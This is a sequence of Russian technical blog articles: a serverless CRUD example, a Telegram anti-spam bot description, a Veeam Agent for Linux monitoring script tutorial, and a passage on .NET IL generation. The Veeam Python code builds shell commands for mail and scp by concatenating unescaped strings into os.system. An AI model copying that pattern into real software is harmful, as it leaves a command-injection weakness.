case "DELETE":
controllerOutput = await deleteProduct(connection, event.pathParameters[""])
break;
default:
controllerOutput = {
body: "Unrecognized command",
contentType: "text/plain"
}
}
const output =
{
'statusCode': controllerOutput.statusCode? controllerOutput.statusCode : 200,
'headers':
{
'Content-Type': controllerOutput.contentType
},
'isBase64Encoded': false,
'body': (typeof controllerOutput.body)==='string' ? controllerOutput.body : JSON.stringify(controllerOutput.body)
}
return output;
}
async function getProducts(connection, searchForName)
{
var SQL = "select * from products ";
if (searchForName)
{
SQL = SQL +" where name like ?";
searchForName=searchForName+'%';
}
SQL = SQL + ' limit 100';
const products = await executeQuery(connection, SQL, [searchForName]);
return {
body: products,
contentType: 'application/json'
}
}
async function getProductDetails(connection, productId)
{
var SQL = "select * from products where ID=?";
const productData = await executeQuery(connection, SQL, [productId]);
return {
body: productData.length>=1? productData[0] : {},
contentType: 'application/json'
}
}
async function createProduct(connection, product)
{
const SQL = "insert into Products (Name, Description, Price) values (?, ?, ?);";
const result = await executeQuery(connection, SQL, [product.name, product.description, product.price]);
return {
body: 'OK',
statusCode: 201,
contentType: 'text/plain'
}
}
async function updateProduct(connection, product)
{
const SQL = "update Products set Name = ?, description = ?, price = ? where ID=?";
const result = await executeQuery(connection, SQL, [product.name, product.description, product.price, product.id]);
return {
body: 'OK',
contentType: 'text/plain'
}
}
async function deleteProduct(connection, productId)
{
const SQL = "delete from Products where ID=?";
const result = await executeQuery(connection, SQL, [productId]);
return {
body: 'OK',
contentType: 'text/plain'
}
}
//Special function to "promisify" query execution
function executeQuery(connection, querySQL, queryParams){
return new Promise(function(resolve, reject) {
try {
connection.query(querySQL, queryParams, function (error, results, fields) {
if (error) throw error;
resolve(results);
});
}
catch (e){
reject(e);
}
})
}
```
Заключение
----------
В статье показали, каким образом можно организовать и контролировать процесс развертывания проекта на основе бессерверных функций. Это решение - наиболее экономичный вариант для небольших команд и стартапов, чей проект пока находится в стадии раскрутки, в условиях органиченных бюджетов, ролей и тд.
А еще - это прекрасная демонстрация того, что с помощью Function Graph в SberCloud.Advanced можно реализовывать весьма нетривиальные сценарии по управлению облачной инфраструктурой. Ведь если в описанном кейсе было развернуто целое приложение, то и остальными компонентами облака можно управлять подобным образом. Так, к примеру, можно добавлять реплики БД, доступные на чтение, если у приложения сильно растет нагрузка. [**Вебинар на эту тему смотрите на канале**](https://www.youtube.com/watch?v=crJUk9030Ig&t=2s&ab_channel=SberCloud). | https://habr.com/ru/post/568866/ | null | ru | null |
# Телеграм бот для удаления спама
**UPD: Актуальная документация по боту находится по адресу** <https://tgdev.io/bot/daysandbox_bot>
Решил написать эту публикацию т.к. устал объяснять одно и то же людям, которые хотят использовать моего телеграм бота [@daysandbox\_bot](https://tgdev.io/bot/daysandbox_bot). Итак, несколько месяцев назад я разработал бота для удаления спама по очень простому признаку: если человек зашёл в чат и провёл в нём менее суток, то любые ссылки или forward сообщения от этого человека удаляются. Всё. Никаких нейронных сеток, анализа частотности, модерируемых white- и black-листов и прочих сложных вещей. На удивление бот приобрёл некоторую популярность и работает уже более чем в шестистах чатиках. Далее я попытаюсь развёрнуто описать принцип работы бота, чтобы в дальнейшем давать ссылку на эту статью.
#### Принцип работы бота
С момента добавления в чат бот отслеживает события захода новых пользователей в группу и тем самым знает, когда кто зашёл в чат и сколько времени он уже провёл в чате. В силу ограничений telegram API я не могу узнать, когда к чату присоединились те пользователи, которые уже были на момент добавления бота в чат. Бот никак не анализирует сообщения от пользователей, существующи на момент добавления бота. Итак, бот знает, когда новые пользователи зашли в чатик. Если бот видит, пользователь провёл в чате меньше суток и запостил сообщение, удовлетворяющее определению спама, то бот удаляет такое сообщение. Он не банит пользователя, не ставит ему read-only права, бот просто удаляет сообщение со спамом. Если пользователь запостит не-спам сообщение, то оно будет опубликовано. Какие сообщения считаются спамом? Во-первых, любые сообщения содержащие ссылку: URL, email или [username](https://habr.com/ru/users/username/). Во-вторых, любые forward-сообщения т.е. сообщения пересланные из другого чата. Для правила [username](https://habr.com/ru/users/username/) есть исключение, если [username](https://habr.com/ru/users/username/) ссылается на пользователя, то такое сообщение разрешается. Бот удаляет только те сообщения с [username](https://habr.com/ru/users/username/), которые ссылаются на группу или канал. Это сделано для того, чтобы не было ложных срабатываний, когда новый пользователь просто пытается обратиться к какому-то участнику чата по его username.
#### Что бот daysandbox\_bot НЕ делает
* Бот не банит никого и никогда
* Бот никак не фильтрует сообщения от тех участников чата, что уже были в чате на момент добавления бота
* Бот фильтрует сообщения только тех пользователей, которые провели в чате менее суток. Если пользователь провёл в чате больше суток, его сообщения никак не обрабатываются ботом
* Бот никак не анализирует текст сообщения, он просто удаляет сообщения со ссылками. Всё.
#### Как правильно добавить бота в чат
Описываю алгоритм для desktop клиента. Подразумевается, что вы админ чатика и можете добавлять в него других админов.
* Заходим в чатик, кликаем на название чатика сверху
* В открывшемся окне сверху справа от надписи "Информация о группе" кликаем на иконку из трёх точек
* В открывшемся меню кликаем на "Управление группой"
* В открывшемся меню кликаем на "Администраторы"
* В открывшемся окне снизу кликаем на "Добавить администратора"
* В открывшемся окне в строке поиска вводим daysandbox\_bot
* В обновившихся результатах поиска кликаем на DaySandBox бота, у него должна быть жёлтая иконка пакмэна.
* В открывшемя окне выставляем боту права на удаление сообщений, все остальные права отключаем.
* Жмём "Сохранить"
#### Настройки бота
У бота есть несколько настроек.
Напишите в чатик `/daysandbox_set safe_hours=N` для задания времени, в течении которого сообщения новых пользователей анализируются на признаки спама. По-умолчанию, этот период равен суткам. Вы можете указать количество часов от нуля до 8760 (один год). Период равный нулю часам по сути деактивирует бота.
Напишите в чатик `/daysandbox_set publog=yes` чтобы разрешить боту писать сообщения в чат о том, что сообщение какого-либо пользователя было удалено. По-умолчанию, бот именно это и делает.
Текущие значения этих двух настроек можно получить командой `/daysandbox_config`.
#### Немного статистики
Мне лень рисовать красивые графики, скажу лишь, что бот за день бот удаляет от 10 до 15 тысяч сообщений и работает более чем в 600 чатиках.
#### Open Source
Исходники бота находятся в открытом [доступе на github](https://github.com/lorien/daysandbox_bot).
UPD (11 февраля, 2019): на данный момент в репозитории находятся исходники устаревшей версии бота. Исходников актуальной версии бота я не предоставляю.
#### Другие мои боты
Возможно, вас заинтересуют другие боты, которых я разработал. С полным списком ботов вы можете ознакомиться на сайте <https://tgdev.io>
#### Контакты для связи
Группы для обсуждения моих ботов:
* [@tgdev\_ru](https://t.me/tgdev_ru)
* [@tgdev\_en](https://t.me/tgdev_en)
**UPD: Актуальная документация по боту находится по адресу** <https://tgdev.io/bot/daysandbox_bot> | https://habr.com/ru/post/348800/ | null | ru | null |
# Бэкап для Linux не пишет писем
Всем привет!
Сегодня хочу поведать о том, как управлять **Veeam Agent for Linux** с помощью командной строки, и о том, какие возможности она открывает в умелых руках программиста.
На написание статьи меня подтолкнул комментарий к предыдущей [статье](https://habr.com/company/veeam/blog/430770/). Перефразирую удивление пользователя: «Ну как же так? Cервер не пишет писем о том, что он забэкапился!». Причём, со слов аналитиков, он не один такой, иначе бы не появился [тред](https://forums.veeam.com/veeam-agent-for-linux-f41/scripting-t36789-15.html#p207902) на форуме. А раз люди пишут — значит, это кому нибудь нужно!
В статье я поясню, почему этой функции в продукте нет. Но на этом мы не остановимся, мы эту функцию добавим! Мы ж программисты, так что напишем письмо и сгенерируем отчёт в виде html страницы.
Кроме того, покажу наиболее полезные, на мой взгляд, команды, которые смогут облегчить труд администратора.
Приготовьтесь: много кода, картинок нет.
Для начала ответим на вопрос: «Почему Veeam Agent for Linux не пишет писем?»
Ответы вам могут не понравиться, не обессудьте. А дело в том, что более-менее крупным enterprise пользователям это не нужно, и вот почему:
* Во-первых, для работы с почтой нужно либо поставить smpt-сервер на локальную машину, либо пользоваться каким-то внутри сети. При самой простой реализации (команда `mail`) потребуется ставить пакет *mailutils*. А многие системные администраторы не захотят создавать на своём продакшн сервере потенуциальную уязвимость в виде сервиса, который может слать куда бы то ни было письма. Да и возможности может не быть по причине закрытости портов, независимости подсетей и прочее...
* Во-вторых, так как пакета *mailutils* очень может не быть на системе (по первой причине), нет смысла и пытаться его использовать. Иначе можем получить функцию, которая вроде есть, но «из коробки» не работает, а значит, будет тред на форуме на тему типа: «Как настроить сервер так, чтобы письма-таки отсылались.»
* Ну и в-третьих, вообще никакая дополнительная нотификация не нужна, так как более-менее крупные enterprise-заказчики используют **Veeam Backup & Replication**. Его консоль собирает информацию о всех бэкапах, которые были произведены на известные репозитории. Убедитесь сами.
В версии **Veeam Backup & Replication 9.5 Update 4** есть возможность пользоваться этим продуктом бесплатно, но с ограничением по обслуживаемым виртуальным/физическим машинам.
Если у вас до 3-х (включительно) физических серверов — бесплатных функций VBR вам будет более чем достаточно.
Если же у вас машин больше 3-х, платить за ПО нет возможности, а централизованно производить мониторинг своих серверов всё же хочется, то предлагаю дописать немного скриптов самостоятельно. Люблю потешить себя на python после рабочего для на С/С++.
Скриптами мы будем оборачивать вызов команды `veeamconfig`. Команда `veeamconfig` обеспечивает доступ ко всему функционалу продукта. Бесспорно, псевдографический интерфейс, созданный с помощью библиотеки *ncurses*, намного приятнее для глаз, однако если нужно связать программы во что-то новое, то CLI — наше всё.
Описание команд **Veeam Agent for Linux** справедливо для версии 3.0. На предыдущих версиях не проверял, так что могут быть отличия.
CLI-интерфейс в **Veeam Agent for Linux** довольно удобный и неплохо документирован. Достаточно ввести `veeamconfig --help`, и вы получите список доступных команд:
```
$sudo veeamconfig --help
Veeam Agent for Linux
(c) Veeam Software AG
Usage: veeamconfig [command]
Commands:
repository - Backup repositories management
vbrserver - Veeam Backup and Replication servers management
job - Backup jobs management
backup - Backups management
point - Restore points management
license - License management
agreement - End User License Agreement management
config - Import/export configuration
schedule - Jobs schedule configuration
cloud - Cloud provider management
mode - Operation mode
session - Sessions management
ui - User interface
aap - Application-aware processing
version, --version, -v - Product version
help, --help, -h - Short help
```
Для того, чтобы посмотреть, что каждая команда позволяет сделать, достаточно вызвать `veeamconfig config --help`. Получим:
```
Veeam Agent for Linux
(c) Veeam Software AG
Usage: veeamconfig config [command]
Commands:
import - Import repositories and jobs into database
export - Export repositories and jobs from database
grabLogs - Collect support logs bundle
patchiso - Create custom Veeam Recovery Media adding all hardware drivers from this system
help, --help, -h - Short help
```
Тут, кстати, мы можем увидеть команду сбора логов `grabLogs`. Она позволит быстро собрать все необходимые логи для саппорта. Это на случай, если что-то пойдёт не так.
Есть ещё интересная команда, которая появилась в версии 3.0:
```
$ sudo veeamconfig agreement --help
Veeam Agent for Linux
(c) Veeam Software AG
Usage: veeamconfig agreement [command]
Commands:
acceptEula - Accept Veeam End User License Agreements
acceptThirdPartyLicenses - Accept Veeam 3rd party License Agreement
show - Show End User License Agreements acceptance status
help, --help, -h - Short help
```
Дело в том, что начиная с версии 3.0 от пользователя требуется явно дать согласие с лицензионными соглашениями. Выглядит это примерно так:
```
$ sudo veeamconfig job list
I accept Veeam Software End User License Agreement:
/usr/share/doc/veeam/EULA
(yes/no | y/n):
yes
I accept the terms of the following 3rd party software components license agreements:
/usr/share/doc/veeam/3rd_party
(yes/no | y/n):
```
Соответственно, работа ваших скриптов может быть нарушена. Чтобы не заходить на каждую машину и не выполнять эту процедуру вручную, были предусмотрены команды:
```
veeamconfig agreement acceptEula
veeamconfig agreement acceptThirdPartyLicenses
```
Они позволяют принять лицензионные соглашения без лишних вопросов.
Но мы отклонились от темы написания письма.
Для задачи мониторинга состояния сервера нам потребуется команда `veeamconfig session list`. Выводит она что-то типа:
```
Job name Type ID State Started at Finished at
bj-home Backup {dbe48e88-3df7-4712-a472-09af8fed4e80} Success 2018-12-05 15:43 2018-12-05 15:44
bj-home Backup {c178a799-2935-4bd6-883b-b11278000076} Success 2018-12-05 16:26 2018-12-05 16:26
bj-home Backup {3405dad3-0016-4a00-933e-60ef66b30324} Success 2018-12-06 06:00 2018-12-06 06:00
```
Отлично, тут есть информация, когда сервер бэкапился и каков был успех. В принципе, уже можно собирать «выхлоп» в файл и слать письмом. Однако уже за год письмо может подрасти примерно на 365 строк. А выискивать в тексте *State* с ошибками может показаться утомительным. Поэтому распарсим этот «выхлоп» и получим нормальный список, с которым можно уже что-то делать.
Целиком код смотреть [тут](http://www.github.com/CodeImp/veeampy/)
```
class CSession:
@staticmethod
def List():
return subproccall( ["veeamconfig", "session", "list"] )
class CSessionInfoList(object):
def __init__(self, list):
self.list = list
def List(self):
return self.list
@staticmethod
def Get():
text = CSession.List()
lines = text.split("\n")
list = [] # session info list
for line in lines:
if len(line) == 0:
continue
words = line.split()
if len(words) == 0:
continue
if words[0] == "Job":
continue
if words[0] == "Total":
continue
try:
jobName = words[0]
type = words[1]
id = words[2]
state = words[3]
startTime = words[4] + " " + words[5]
finishTime = words[6] + " " + words[7]
list.append(CSessionInfo(id, type, jobName, state, startTime, finishTime))
except:
print "Failed to parse [", line, "]"
return CSessionInfoList(list)
```
Ну а теперь сделаем письмо и отправим его себе.
```
def SendMailsessions():
print "---"
print "Sending statistic to administrator:"
sessions = veeamlpb.session.CSessionInfoList.Get()
recipient = "dear.admin@company.com"
subject = "VAL status notification"
text = "Statistic:\n"
inx = 0;
successCount = 0
warningCount = 0
errorCount = 0
for sessionInfo in sessions.List():
if (sessionInfo.State() == "Success"):
successCount += 1
elif (sessionInfo.State() == "Warning"):
warningCount += 1
else:
errorCount += 1
text += str(successCount)+"/"+str(warningCount)+"/"+str(errorCount)+" Success/Warning/Error\n"
text += "Last 10 session:\n"
for sessionInfo in reversed(sessions.List()):
if inx == 10:
text += "...\n"
break;
text += str(inx)+" | "+sessionInfo.State()+" | "+sessionInfo.JobName()+" | "+sessionInfo.StartTime()+" / "+sessionInfo.FinishTime() + "\n"
#text +=
inx += 1
text += "\n"
text += "--------------------------------------------------------------------------------\n"
text += " Yours sincerely, Veeam Agent for Linux Monitor\n"
print text
os.system("echo '"+text+"' | mail -s '"+subject+"' "+recipient)
```
В результате после установки *mailutils* можем получить письмо вида:
```
Statistic:
3/0/0 Success/Warning/Error
Last 10 session:
0 | Success | bj-home | 2018-12-06 06:00 / 2018-12-06 06:00
1 | Success | bj-home | 2018-12-05 16:26 / 2018-12-05 16:26
2 | Success | bj-home | 2018-12-05 15:43 / 2018-12-05 15:44
--------------------------------------------------------------------------------
Yours sincerely, Veeam Agent for Linux Monitor
```
В письме выводятся только последние 10 сессий. При этом в самом начале письма выводится информация о числе успешных и не очень сессий. Достаточно глянуть на циферки в письме в начале рабочего дня, проверяя почту и потягивая кофеёк, чтобы понять, что ночные бэкапы прошли успешно.
Если же вам нужно что-то понагляднее — можно запросить информацию о сессиях в xml-формате и передать её на свой сервер. Там объединить полученные данные в единую сводную таблицу, которая отобразит всю необходимую информацию в удобном или посильном для вас формате.
XML-ку получаем парой строк:
```
sessionList = veeamlpb.session.CSessionList()
text = sessionList.ToXml()
```
Сохраняем полученное в файлик
```
sessionListFileName = "session_list.xml"
print "Store XML to file: ",sessionListFileName
sessionListXmlFile = open(sessionListFileName, "w")
sessionListXmlFile.write(text)
sessionListXmlFile.close()
```
Далее полученную XML-ку отправляем на сервер. Возможен и альтернативный вариант — сервер собирает XML-ки с машин, которые бэкапятся. Кто инициатор — нам пока не важно. Важно, что на сервере собираются XML-ки со списками сессий со всех машин. Я выбрал певый вариант:
```
hostname = os.uname()[1]
target = "user@admin-desktop:/home/user"
os.system("scp ./"+sessionListFileName+" "+target+"/backups/"+hostname+"/session_list.xml")
```
Теперь на стороне сервера осталось обработать принятые данные и сделать красивую html-страничку.
```
import veeamlpb
import os
import datetime
import xml.etree.ElementTree as xml
def main():
hosts = []
backupsDirectory = "/home/user/backups"
for item in os.listdir(backupsDirectory):
if item in [".", ".."]:
continue
if os.path.isdir(os.path.join(backupsDirectory,item)):
hosts.append(item)
print "item: ",item
if len(hosts) == 0:
return 0
backupSessionMap = {}
for host in hosts:
print "found host: ", host
sessionInfoFile = os.path.join(os.path.join(backupsDirectory,host), "session_list.xml")
sessionList = veeamlpb.session.CSessionInfoList.FromXmlFile(sessionInfoFile)
backupSessionMap[host] = sessionList
for sessionInfo in sessionList.List():
print "Session:",sessionInfo.ToString()
html = xml.Element("html")
body = xml.SubElement(html, "body", {"style":"background-color: #00b336;"})
xml.SubElement(body,"h1").text = "Report at "+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
xml.SubElement(body,"h2").text = "Statistic:"
for host in hosts:
sessionList = backupSessionMap[host]
success=0
warning=0
error=0
if len(sessionList.List()) == 0:
continue
for sessionInfo in sessionList.List():
if sessionInfo.State() == "Success":
success +=1
elif sessionInfo.State() == "Warning":
warning +=1
else:
error +=1
latestSessionInfo = sessionList.List()[-1]
attr = {}
if latestSessionInfo.State() == "Success":
#attr["style"] = "background-color: #00b336;"
attr["style"] = "background-color: #005f4b; color: white;"
elif latestSessionInfo.State() == "Warning":
attr["style"] = "background-color: #93ea20;"
else:
attr["style"] = "background-color: #ba0200; color: white;"
xml.SubElement(xml.SubElement(body,"p"),"span", attr).text = \
host + " - "+str(success)+"/"+str(warning)+"/"+str(error)+" Success/Warning/Error"
for host in hosts:
sessionList = backupSessionMap[host]
xml.SubElement(body,"h2").text = host+":"
tableStyle =xml.SubElement(body,"style")
tableStyle.attrib["type"] = "text/css"
tableStyle.text = "TABLE {border: 1px solid green;} TD{ border: 1px solid green; padding: 4px;}"
table = xml.SubElement(body,"table")
thead = xml.SubElement(table, "thead")
xml.SubElement(thead, "th").text = "Number"
xml.SubElement(thead, "th").text = "State"
xml.SubElement(thead, "th").text = "Job name"
xml.SubElement(thead, "th").text = "Start at"
xml.SubElement(thead, "th").text = "Complete at"
tbody = xml.SubElement(table, "tbody")
inx = 0
for sessionInfo in reversed(sessionList.List()):
if inx == 10:
break;
tr = xml.SubElement(tbody,"tr")
xml.SubElement(tr, "td").text = str(inx)
attr ={}
if sessionInfo.State() == "Success":
pass
elif sessionInfo.State() == "Warning":
attr["style"] ="background-color: #93ea20;"
else:
attr["style"] ="background-color: #ba0200; color: white;"
xml.SubElement(tr, "td", attr).text = sessionInfo.State()
xml.SubElement(tr, "td").text = sessionInfo.JobName()
xml.SubElement(tr, "td").text = sessionInfo.StartTime()
xml.SubElement(tr, "td").text = sessionInfo.FinishTime()
inx += 1
xml.ElementTree(html).write("summary.html", encoding='utf-8', method='html')
return 0
exit(main())
```
В результате отчёт готов:
У меня не было задачи сделать красивый продукт. Задача была показать, что вопрос сбора статистики можно решить на скриптах за один-два дня.
В принципе, если развить изложенные здесь идеи, то можно сделать «Open Backup Monitor for Veeam Agent for Linux». На мой взгляд, хорошая тема для курсовой по Python, или, может, даже для диплома, или просто повод потренироваться в программировании над opensource-проектом. Согласитесь, лучше потренироваться в программировании, чем становиться эльфом 80-го уровня.
Весь код можно найти на <http://www.github.com/CodeImp/veeampy/>. Качайте, пользуйтесь, дополняйте и форкайте на здоровье.
Учтите, код распространяется по GPL-2 лицензии, может содержать ошибки и прочее. Всё как обычно в мире opensource. Так что прежде чем применять в продакшн — не забудьте погонять на тестовой лабе. | https://habr.com/ru/post/432404/ | null | ru | null |
# Быстрая и удобная генерация IL
Я много раз сталкивался с задачей динамической генерации кода (например, при написании эффективного сериализатора или компилятора [DSL](https://en.wikipedia.org/wiki/Domain-specific_language "Domain Specific Language")). Это можно делать разными способами, какой из них лучший – дискуссия для отдельной статьи. По ряду причин я предпочитаю Reflection.Emit и CIL (Common Intermediate Language) и расскажу, с какими проблемами пришлось столкнуться на этом пути, а также об их решении: умной обертке над [ILGenerator](http://msdn.microsoft.com/en-us/library/system.reflection.emit.ilgenerator.aspx "ILGenerator") – GroboIL из библиотеки [Graceful Emit](https://github.com/homuroll/gremit "Graceful Emit").
Хочу отметить при этом, что иногда встречаются ситуации, когда у нас нет большого выбора: например, при написании сериализатора необходимо иметь доступ к приватным полям, и приходится использовать IL. Кстати, известный сериализатор [protobuf-net](https://code.google.com/p/protobuf-net/ "protobuf-net") содержит несколько сотен IL-инструкций.
Если вы ни разу не сталкивались с использованием IL-кода, то статья может показаться сложной для понимания, поскольку содержит много примеров кода с использованием IL. Для получения базовых знаний рекомендую прочитать статью [Introduction to IL Assembly Language](http://www.codeproject.com/Articles/3778/Introduction-to-IL-Assembly-Language "Introduction to IL Assembly Language").
Reflection.Emit предоставляет два способа генерации кода – [DynamicMethod](http://msdn.microsoft.com/en-us/library/system.reflection.emit.dynamicmethod.aspx "DynamicMethod") и [TypeBuilder](http://msdn.microsoft.com/en-us/library/system.reflection.emit.typebuilder.aspx "TypeBuilder")/[MethodBuilder](http://msdn.microsoft.com/en-us/library/system.reflection.emit.methodbuilder.aspx "MethodBuilder").
DynamicMethod – это «легковесный» статический метод, результатом компиляции которого будет делегат. Основное их преимущество в том, что DynamicMethod'ам разрешается игнорировать видимость типов и членов типов. Они собираются сборщиком мусора, когда все ссылки на них будут сброшены, но с .NET Framework 4.0 такая возможность появилась и у DynamicAssembly, так что это уже не является преимуществом.
С помощью DynamicAssembly/ModuleBuilder/TypeBuilder/MethodBuilder можно динамически генерировать все пространство типов .NET: интерфейсы, классы, переопределять виртуальные методы, объявлять поля, свойства, реализовывать конструкторы и т. д. То есть это будет обычная assembly, которую можно даже сохранить на диск.
На практике чаще используются DynamicMethod'ы, поскольку они несколько проще в объявлении и имеют доступ к приватным членам. MethodBuilder'ы обычно используются, если помимо кода есть необходимость сгенерировать какие-то данные: тогда их удобно поместить в TypeBuilder'ы, а код – в их методы.
Пример
------
Задача: напечатать все поля объекта.
```
public static Action BuildFieldsPrinter() where T : class
{
var type = typeof(T);
var method = new DynamicMethod(Guid.NewGuid().ToString(), // имя метода
typeof(void), // возвращаемый тип
new[] {type}, // принимаемые параметры
typeof(string), // к какому типу привязать метод, можно указывать, например, string
true); // просим доступ к приватным полям
var il = method.GetILGenerator();
var fieldValue = il.DeclareLocal(typeof(object));
var toStringMethod = typeof(object).GetMethod("ToString");
var fields = type.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
foreach(var field in fields)
{
il.Emit(OpCodes.Ldstr, field.Name + ": {0}"); // stack: [format]
il.Emit(OpCodes.Ldarg\_0); // stack: [format, obj]
il.Emit(OpCodes.Ldfld, field); // stack: [format, obj.field]
if(field.FieldType.IsValueType)
il.Emit(OpCodes.Box, field.FieldType); // stack: [format, (object)obj.field]
il.Emit(OpCodes.Dup); // stack: [format, obj.field, obj.field]
il.Emit(OpCodes.Stloc, fieldValue); // fieldValue = obj.field; stack: [format, obj.field]
var notNullLabel = il.DefineLabel();
il.Emit(OpCodes.Brtrue, notNullLabel); // if(obj.field != null) goto notNull; stack: [format]
il.Emit(OpCodes.Ldstr, "null"); // stack: [format, "null"]
var printedLabel = il.DefineLabel();
il.Emit(OpCodes.Br, printedLabel); // goto printed
il.MarkLabel(notNullLabel);
il.Emit(OpCodes.Ldloc, fieldValue); // stack: [format, obj.field]
il.EmitCall(OpCodes.Callvirt, toStringMethod, null); // stack: [format, obj.field.ToString()]
il.MarkLabel(printedLabel);
var writeLineMethod = typeof(Console).GetMethod("WriteLine", new[] { typeof(string), typeof(object) });
il.EmitCall(OpCodes.Call, writeLineMethod, null); // Console.WriteLine(format, obj.field.ToString()); stack: []
}
il.Emit(OpCodes.Ret);
return (Action)method.CreateDelegate(typeof(Action));
}
```
Проблемы ILGenerator
--------------------
Начнем с того, что у ILGenerator'а плохой синтаксис: есть один метод Emit с кучей перегрузок, поэтому легко по ошибке вызвать неправильную перегрузку.
Также неудобно, что у одной логической IL-инструкции может быть несколько вариантов, например, у инструкции ldelem есть 11 вариантов – ldelem.i1 (sbyte), ldelem.i2 (short), ldelem.i4 (int), ldelem.i8 (long), ldelem.u1 (byte), ldelem.u2 (ushort), ldelem.u4 (uint), ldelem.r4 (float), ldelem.r8 (double), ldelem.i (native int), ldelem.ref (reference type).
Но это все семечки по сравнению с тем, насколько плохо выдаются сообщения об ошибках.
Во-первых, исключение вылетает только в самом конце, при попытке компиляции метода JIT-компилятором (то есть даже не на вызове DynamicMethod.CreateDelegate() или TypeBuilder.CreateType(), а при первой попытке реального запуска этого кода), поэтому не понятно, какая именно инструкция вызвала ошибку.
Во-вторых, сами сообщения об ошибках, как правило, ни о чем не говорят, к примеру, самая частая ошибка – «Common language runtime detected an invalid program».
### Примеры ошибок/опечаток
1. ```
var il = dynamicMethod.GetILGenerator();
{..} // Здесь какие-то инструкции
il.Emit(OpCodes.Ldfld); // Пытаемся загрузить поле, но забыли передать FieldInfo
{..} // Здесь какие-то инструкции
var compiledMethod = dynamicMethod.CreateDelegate(..);
compiledMethod(..); // ← Здесь вылетит исключение
```
InvalidProgramException: «Common language runtime detected an invalid program».
2. ```
var il = dynamicMethod.GetILGenerator();
{..} // Здесь какие-то инструкции
il.Emit(OpCodes.Box); // Хотели скастовать value type к object, но забыли передать тип
{..} // Здесь какие-то инструкции
var compiledMethod = dynamicMethod.CreateDelegate(..);
compiledMethod(..); // ← Здесь вылетит исключение
```
InvalidProgramException: «Common language runtime detected an invalid program».
3. ```
var il = dynamicMethod.GetILGenerator();
{..} // Здесь какие-то инструкции
var code = GetCode(..); // Функция возвращает byte
il.Emit(OpCodes.Ldc_I4, code); // Хотели загрузить константу типа int, но передали byte
{..} // Здесь какие-то инструкции
var compiledMethod = dynamicMethod.CreateDelegate(..);
compiledMethod(..); // ← Здесь вылетит исключение
```
InvalidProgramException: «Common language runtime detected an invalid program».
4. ```
var il = dynamicMethod.GetILGenerator();
{..} // Здесь какие-то инструкции
il.Emit(OpCodes.Call, abstractMethod); // Хотели вызвать абстрактный метод, но случайно вместо Callvirt написали Call
{..} // Здесь какие-то инструкции
var compiledMethod = dynamicMethod.CreateDelegate(..);
compiledMethod(..); // ← Здесь вылетит исключение
```
BadImageFormatException: «Invalid il format».
5. ```
var il = dynamicMethod.GetILGenerator();
{..} // Здесь какие-то инструкции
var keyGetter = typeof(KeyValuePair).GetProperty("Key").GetGetMethod();
il.Emit(OpCodes.Ldarg\_1); // Аргумент 1 – KeyValuePair
il.Emit(OpCodes.Call, keyGetter); // Хотели взять свойство Key у KeyValuePair, но это value type,
// поэтому его нужно загружать по адресу, чтобы вызвать метод
{..} // Здесь какие-то инструкции
var compiledMethod = dynamicMethod.CreateDelegate(..);
compiledMethod(..); // ← Здесь вылетит исключение
```
InvalidProgramException: «Common language runtime detected an invalid program».
6. ```
var il = dynamicMethod.GetILGenerator();
{..} // Здесь какие-то инструкции
var toStringMethod = typeof(object).GetMethod("ToString");
il.Emit(OpCodes.Ldarga, 1); // Аргумент 1 – int, загрузили по адресу
il.Emit(OpCodes.Callvirt, toStringMethod); // Хотели вызвать int.ToString(), но для вызова виртуального метода
// на value type по адресу нужен префикс constrained
{..} // Здесь какие-то инструкции
var compiledMethod = dynamicMethod.CreateDelegate(..);
compiledMethod(..); // ← Здесь вылетит исключение
```
NullReferenceException: «Object reference not set to instance of an object».
Или
AccessViolationException: «Attempted to read or write protected memory. This is often an indication that other memory is corrupt».
7. ```
var il = dynamicMethod.GetILGenerator();
{..} // Здесь какие-то инструкции
var bindingFlags = BindingFlags.Instance | BindingFlags.NonPublic; // Хотим достать приватное поле value
var valueField = typeof(KeyValuePair).GetField("value", bindingFlags);
il.Emit(OpCodes.Ldarga, 1); // Аргумент 1 – KeyValuePair
il.Emit(OpCodes.Ldfld, valueField); // Хотели взять поле value у KeyValuePair, но случайно вместо
// KeyValuePair написали KeyValuePair, в итоге
// возьмем поле key типа int и проинтерпретируем его как string
{..} // Здесь какие-то инструкции
var compiledMethod = dynamicMethod.CreateDelegate(..);
var result = compiledMethod(..); // ← Здесь не будет исключения
{..} // Какая-то работа с result ← Будет исключение
```
Неопределенное поведение, скорее всего, будет AccessViolationException или NullReferenceException.
8. Забыли в конце кода вызвать инструкцию OpCodes.Ret – получим неопределенное поведение: может, вылетит исключение при попытке компиляции, может просто все сломаться уже во время работы, а может повезти и все будет работать правильно.
9. Реализуем функцию
```
static int Add(int x, double y) { return x + (int)y; }
```
```
var il = dynamicMethod.GetILGenerator();
il.Emit(OpCodes.Ldarg_0); // Аргумент 0 - типа int
il.Emit(OpCodes.Ldarg_1); // Аргумент 1 - типа double
il.Emit(OpCodes.Add); // Забыли сконвертировать double к int. Непонятно что будет
il.Emit(OpCodes.Ret);
var compiledMethod = dynamicMethod.CreateDelegate(..);
var result = compiledMethod(..); // ← Здесь может не быть исключения
```
В спецификации CIL сказано, что инструкция OpCodes.Add не может принимать аргументы типов int и double, но исключения может не быть, просто будет неопределенное поведение, зависящее от JIT-компилятора.
Пример запуска:
* x64: compiledMethod(10, 3.14) = 13
ASM-код (x лежит в ecx, y — в xmm1):
cvtsi2sd xmm0, ecx
addsd xmm0, xmm1
cvttsd2si eax, xmm0
* x86: compiledMethod(10, 3.14) = 20
ASM-код (x лежит в ecx, y — на стэке):
mov eax, ecx
fld qword [esp + 4]
add eax, ecx
fstp st(0)
То есть под x64 сгенерировалась наиболее логичная интерпретация (int конвертируется к double, потом два double складываются и результат обрезается до int), а вот под x86 попытка смешения целочисленных и вещественных операндов привела к тому, что вместо x + y возвращается 2 \* x (читателям предлагаю посмотреть, что будет, если вместо int + double написать double + int).
10. Реализуем функцию
```
static string Coalesce(string str) { return str ?? ""; }
```
```
var il = dynamicMethod.GetILGenerator();
il.Emit(OpCodes.Ldarg_0); // stack: [str]
il.Emit(OpCodes.Dup); // stack: [str, str]
var notNullLabel = il.DefineLabel();
il.Emit(OpCodes.Brtrue, notNullLabel); // if(str != null) goto notNull; stack: [str]
il.Emit(OpCodes.Ldstr, ""); // Oops, забыли, что на стэке еще осталось значение str
il.MarkLabel(notNullLabel); // В этом месте у нас неконсистентный стэк: в нем либо одно значение, либо два
il.Emit(OpCodes.Ret);
var compiledMethod = dynamicMethod.CreateDelegate(..);
